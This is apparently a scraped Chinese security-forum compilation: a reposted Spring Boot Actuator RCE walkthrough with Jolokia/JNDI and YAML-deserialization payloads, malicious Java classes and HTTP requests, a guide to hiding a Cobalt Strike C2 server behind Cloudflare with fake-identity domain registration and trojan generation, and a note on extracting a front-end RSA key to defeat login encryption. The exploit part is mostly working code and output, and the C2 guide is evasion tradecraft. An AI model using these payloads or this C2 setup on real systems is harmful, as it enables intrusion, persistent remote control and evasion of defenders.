#management.security.enabled=false # vulnerable configuration set 2: spring boot 2+ #management.endpoints.web.exposure.include=*2.重启启动mvn spring-boot:run 或 /opt/jdk1.8.0_60//bin/java -classpath /opt/apache-maven-3.6.2/boot/plexus-classworlds-2.6.0.jar -Dclassworlds.conf=/opt/apache-maven-3.6.2/bin/m2.conf -Dmaven.home=/opt/apache-maven-3.6.2 -Dlibrary.jansi.path=/opt/apache-maven-3.6.2/lib/jansi-native -Dmaven.multiModuleProjectDirectory=/root/actuator/actuator-testbed org.codehaus.plexus.classworlds.launcher.Launcher spring-boot:run 稍等片刻 root@kali:~/actuator/actuator-testbed# netstat -ntpl |grep 8090 tcp6 0 0 :::8090 :::* LISTEN 33666/java root@kali:~/actuator/actuator-testbed# http://10.20.24.191:8090/ http://10.20.24.191:8090/jolokia/list 中 reloadByURL 可以加载远程 url xml 文件 "ch.qos.logback.classic": { "Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator": { "op": { "reloadByURL": { "args": [ { "name": "p1", "type": "java.net.URL", "desc": "" } ], "ret": "void", "desc": "Operation exposed for management" } 3.http 服务存放logback.xml,ExportObject.classlogback.xml 文件内容 <configuration> <insertFromJNDI env-entry-name="rmi://10.20.24.191:1099/Exploit" as="appName" /> </configuration> ExportObject.java import java.io.BufferedReader; import java.io.InputStream; import java.io.InputStreamReader; public class ExportObject { public ExportObject() throws Exception { Process var1 = Runtime.getRuntime().exec("touch /tmp/jas502n"); InputStream var2 = var1.getInputStream(); BufferedReader var3 = new BufferedReader(new InputStreamReader(var2)); String var4; while((var4 = var3.readLine()) != null) { System.out.println(var4); } var1.waitFor(); var2.close(); var3.close(); var1.destroy(); } public static void main(String[] var0) throws Exception { } } 4.RCE触发监听 rmi 端口 root@kali:~/ldap_rmi# cat rmi.sh java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://10.20.24.191:8000/#ExportObject root@kali:~/ldap_rmi# ./rmi.sh * Opening JRMP listener on 1099 Have connection from /10.20.24.191:43878 Reading message... Is RMI.lookup call for ExportObject 2 Sending remote classloading stub targeting http://10.20.24.191:8000/ExportObject.class Closing connection 浏览器访问加载远程logback.xml文件进行解析, 服务器访问恶意jndi 地址,导致恶意字节码代码执行 http://10.20.24.191:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/10.20.24.191:8000!/logback.xml 5. 命令执行成功root@kali:/var/www/html# ls /tmp/j* /tmp/jas502n root@kali:/var/www/html#三、YML RCE 漏洞通过Spring环境spring.cloud.bootstrap.location 属性修改来实现RCE的方法更可靠 该属性用于加载外部配置并以YAML格式解析它。 为了实现这一点,任需要POST /refresh 任意内容触发漏洞。yaml_payload.yml 文件内容: !!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://10.20.24.191:8000/yaml_payload.jar"] ]] ] 1.yaml_payload.jar 制造代码 https://github.com/artsploit/yaml-payload AwesomeScriptEngineFactory.java 部分代码 import javax.script.ScriptEngine; import javax.script.ScriptEngineFactory; import java.io.IOException; import java.util.List; public class AwesomeScriptEngineFactory implements ScriptEngineFactory { public AwesomeScriptEngineFactory() { try { Runtime.getRuntime().exec("touch /tmp/success"); } catch (IOException e) { e.printStackTrace(); } } ymal_payload.jar\artsploit\AwesomeScriptEngineFactory.java 包含实际的字节码,并在构造函数中带有恶意有效载荷。 ymal_payload.jar\services\javax.script.ScriptEngineFactory 只是一个包含对'artsploit.AwesomeScriptEngineFactory'的完整引用的文本文件, 以便ServiceLoader知道在哪里可以找到该类 内容:artsploit.AwesomeScriptEngineFactory jar 文件存在到http服务器中 http://10.20.24.191:8090/ymal_payload.jar 2.Set spring.cloud.bootstrap.locationspring.cloud.bootstrap.location=http://10.20.24.191:8090/yaml_payload.yml POST /env HTTP/1.1 Host: 10.20.24.191:8090 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate X-Forwarded-For: 127.0.0.1 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 73 spring.cloud.bootstrap.location=http://10.20.24.191:8000/yaml_payload.yml 3.refresh post任意内容,RCE 漏洞触发POST /refresh HTTP/1.1 Host: 10.20.24.191:8090 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate X-Forwarded-For: 127.0.0.1 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 5 123124.RCE 执行成功root@kali:/var/www/html# ls /tmp/succ* /tmp/success root@kali:/var/www/html# Ps: 与Eureka的XStream有效负载相比,yaml的方法甚至可以在最新版本中使用。参考链接https://www.veracode.com/blog/research/exploiting-spring-boot-actuators原文链接: https://github.com/jas502n/SpringBoot_Actuator_RCE
  24. 工具准备国外服务器一台 自由鲸(VPN) CS 4.4 nginx CS服务端配置服务器禁ping1、当服务器禁ping后,从某种角度可以判定为主机为不存活状态。 2、编辑文件/etc/sysctl.conf,在里面增加一行。net.ipv4.icmp_echo_ignore_all=1 之后使命命令sysctl -p使配置生效。 3、之后在ping就无法ping通了。这种方式nmap还是可以扫描到服务器的存活的。 修改端口1、编辑teamserver文件,搜索50050,将其改为任意端口即可,这里改成65000 2、保存退出,启动teamserver,发现端口已经变化。 修改默认证书1、因为cs服务端生成的证书含有cs的相关特征所有,这里进行修改替换。修改方式有两种,分别为生成密钥库和修改启动文件。无论是那种方式都需要删去原有的文件cobaltstrike.store。 方法一删除密钥库文件cobaltstrike.store(推荐)1、生成新的密钥库文件 2、查看证书 3、启动服务器查看证书签名是否相同,经查看证书签名是相同的。 方法二修改启动文件1、teamserver 是启动cs服务端的启动文件。里面有环境检测的部分,其中就包括密钥库的检测,这部分的写法是,如检测不到密钥库就使用命令生成新的密钥库,修改这里生成命令。 2、将teamserver中圈出来的部分需要修改 3、将其修改为如下内容: 4、删除原有的./cobaltstrike.store密钥库文件,下次启动时会自动生成新的密钥库文件 使用CDN隐藏申请免费域名1、进入freenom官网,翻译中文,拉到最下面,选择开发人员。 2、拉到最下面,点击今天就获得一个随机的域账号 3、输入国际邮箱,然后点击验证邮箱,推荐使用临时邮箱 4、几秒钟后,就会收到邮件,点击邮件点击确认跳转到freenom网站,翻译当前网页中文后,点击开发商。 5、将网站拉到最后下面,翻译中文,点击立即获取一个随机域账号。 6、然后来到个人信息填写页面 7、因为IP选择的地址是弗罗里达州,所以需要借助佛罗里达州个人信息生成器和个人信息生成器,两者需要结合。 8、信息按照生成器填写即可,填写后,勾选并点击完成订单,到此账号已经注册成功。 9、回到网站首页,选取域名,输入xxx.tk,点击check availability,可用的话点击checkout。 10、选择12个月免费版本,最后点击continue。 11、最后完成订单 12、选择my domains,看到域名是存活的。 CDN配置1、cdn部分可以选择其实挺多的,我这里选择的是cloudflare 2、登录cloudflare后,选择添加站点 3、选择免费计划 4、添加DNS记录,输入要保护的IP和A记录。 5、修改xxx.tk的dns服务器为cloudflare。修改完成后需要一定的时间生效 6、关闭自动https重写和始终使用https、broti压缩 7、点击finish完成 8、出现如下界面就设置生效,可以使用cloudflare进行域名解析操作了 9、解析一个www.xxx.tk测试一下 10、使用全球ping,发现已经成功添加CDN 11、配置SSL/TLS加密模式为完全 cloudflare生成证书1、在cloudflare的dash页面找到SSL/TLS->源服务器->创建证书,之后将公钥和私钥保存下来,分别为server.pem和server.key。一定要在生成的时候保存,不然可能找不到私钥了。 2、申请证书并打包密钥库,将证书打包并生成store文件。 3、配置证书到https的监听方式中,要想使用我们自己申请的证书,这里就需要使用‘Malleable C2 profile’的方式来操作。这里以cloudflare.profile为例。将生成的密钥文件.store放到cs目录下,想cloudflare.profile加入证书配置:其中需要注意的是https-certificate为证书相关的配置,其他client.header中Host的值要为我们申请的域名,其他的部分,根据个人情况去配置。 4、验证配置文件是否有问题。如下为验证成功的配置(当前目录需要有cobaltstrike.jar) 5、配置nginx反向代理,按照下面命令执行即可 6、更改teamserver文件,老套路将stroe和密码写进去 7、使用配置文件启动服务器 8、访问网站,发现已经有证书了 生成木马配置1、作了如上的配置,在生成木马时需要做一些不一样的操作。注意:免费版本的cloudflare支持解析少量的端口,具体端口如下 2、创建监听器,注意是https 3、生成exe木马 4、点击运行,成功上线 5、通过抓包发现数据包都被加密 6、powershell的上线方式与以前有些许不同。需要启动ssl证书 7、在cmd中执行,powershell成功上线 Linux上线Cloudflare CDN配置1、选择缓存,创建规则 2、输入ip.src == xx.xx.xx.xx,该IP是C2服务器真实IP,再选择绕过缓存,最后保存。 nginx配置1、编辑nginx配置文件,在http中添加以下配置 c2profile.c配置cloudflare.profile配置启动C21、启动C2服务器 2、下载CrossC2-GithubBot-2022-06-07.cna,下载CrossC2Kit_Loader.cna,将其保存在Windows CS客户端文件夹中 3、在Windows中启动客户端,依次加载CrossC2-GithubBot-2022-06-07.cna和CrossC2Kit_Loader.cna插件,加载后,右上角会出现CrossC2按钮 4、创建监听器,端口为9090 5、公网访问以下内容 创建beacon1、下载最新版genCrossC2.Linux,并将genCrossC2.Linux和c2profile.c放在C2服务器端 2、C2服务器中编译so文件 3、生成Linux木马,执行完成后会在当前生成a.out文件 Linux机器上线1、将生成的a.out上传到目标机器,赋予权限,然后执行。 2、Linux机器成功上线 命令交互操作1、选中机器,鼠标右键会话交互,输入Linux命令即可 文件操作1、选中机器,鼠标右键Expore -> 文件浏览器,即可查看目标机器文件,还可以上传下载文件 进程查看1、选中机器,鼠标右键Expore -> Process List,即可查看目标机器进程 原文链接: https://xz.aliyun.com/t/12094
  25. 即上次解密后,开发不死心,过了几个月,给返回包也进行了加密。并对前端js进行了压缩混淆 根据观察,初步认为服务端也进行了相同的rsa+aes加密,然后把rsa加密后的key和iv以及aes加密的data字段一起发送回来。但是这样其实对于我们来说,反而是画蛇添足,让系统安全性下降了。因为这样会让前端去进行rsa+aes的解密,所以rsa私钥一定会存在前端! 开始操作 1.老规矩搜索encryptIv字段,找到了疑似解密的部分,打上断点后提交登录请求 Burp抓包返回包,提取data字段 断点处提取rsa解密后的aes的key和iv值 把从前端断点处的n和a作为key和iv放入鬼鬼js调试工具尝试解密,解密成功,说明思路没有问题,就是该处代码对服务器传来的encryptIv,encryptKey进行解密为aes原本的密钥和偏移量 2. 根据解密代码,找到rsa私钥(p.d),显示不全,复制一段ctrl+f搜索到完整的rsa私钥 使用jsencrypt.js脚本进行解密发现报错,原因是原版js调用了浏览器的window和navigator方法,这两个是获取浏览器窗口信息和鼠标位置信息之类的,用以生成随机数 通过搜索,发现有人先做过更改原版JSEncrypt,去掉window和navigator方法使用,帖子地址:https://bbs.125.la/forum.php?mod=viewthread&tid=14113049 使用鬼鬼js调试成功 3. 最后一步,完善编写自动化加解密脚本,老规矩,还是mitmweb+burp的组合,浏览器先代理到burp,然后burp二级代理到mitmweb执行python脚本,然后再发送给服务器,大致思路如 其实当时以为已经完成了90%了,剩下10%是编写自动化脚本,结果这10%反而花了几天时间,因为调用js解密不成功的原因。后面解决了,大体来说和aes算法以及js,python有关系。我们可以下期具体来讲讲这块大坑!今天就先跳过这部分。 最后再上次的脚本上面,加上了注销前端解密的代码,以及mitmweb帮助解密response的代码就行了。 调试成功,burp已经舒舒服服,全程操作明文了。 顺便,恩?发现有一个验证码返回前端的高危漏洞哈哈哈。但是我心善,既然这个加解密一时半会搞不出来的,现在都周五了,就下周一再来叫开发修复漏洞吧。具体的新增代码部分我们留到下次,和aes解密这个大坑的时候一起讲。